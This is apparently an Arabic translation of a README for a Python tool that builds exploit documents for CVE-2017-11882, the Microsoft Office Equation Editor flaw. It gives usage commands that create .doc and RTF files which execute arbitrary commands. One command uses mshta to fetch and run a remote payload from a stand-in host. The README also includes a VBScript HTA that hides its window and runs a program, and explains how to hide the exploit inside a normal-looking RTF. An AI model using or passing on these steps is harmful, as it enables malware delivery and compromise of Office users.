
مولد استغلال قائم على Python لـ CVE-2017-11882 (ثغرة Microsoft Office Equation Editor) مع دعم لـ shellcode مخصص، وحمولات mshta، وتضمين مستندات RTF.
43b النص الأصلي مأخوذ من https://github.com/embedi/CVE-2017-11882
109b النص الأصلي مأخوذ من https://github.com/unamer/CVE-2017-11882/ (تحية، الآن كود unamer يمكنه تنفيذ shellcode ~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
استخدام mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
لا يمكن أن يتجاوز طول الأمر 43 بايت لـ 43b، و109 بايت لـ 109b
مجلد example يحتوي على ملف .rtf يستغل ثغرة CVE-2017-11882 ويقوم بتشغيل الحاسبة في النظام.
في الحقيقة، تعلمت طريقة المحتوى المخصص من أساتذة آخرين، وقد كتبتها في script منذ فترة طويلة. لم أكن أنوي نشرها، ولكن بما أن أحدًا في المجموعة قد نشرها بالفعل، لم يكن لدي خيار سوى النشر. الطريقة بسيطة جدًا:只需要 افتح المستند العادي rtf في محرر نصوص، وانسخ كل المحتوى قبل {*\datastore}، واستبدل كل المحتوى قبل {\object\objautlink\objupdate}، ومن ثم تصبح كتابتها في script سهلة جدًا.
طريقة إضافة محتوى مخصص، اختر أي script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
المحتوى المخصص موجود في input.rtf.
أما script الاستغلال الأحدث بطول 605 بايت من unamer، فلن أقوم بتحديثه، يمكن لمن يريد تعديله بنفسه.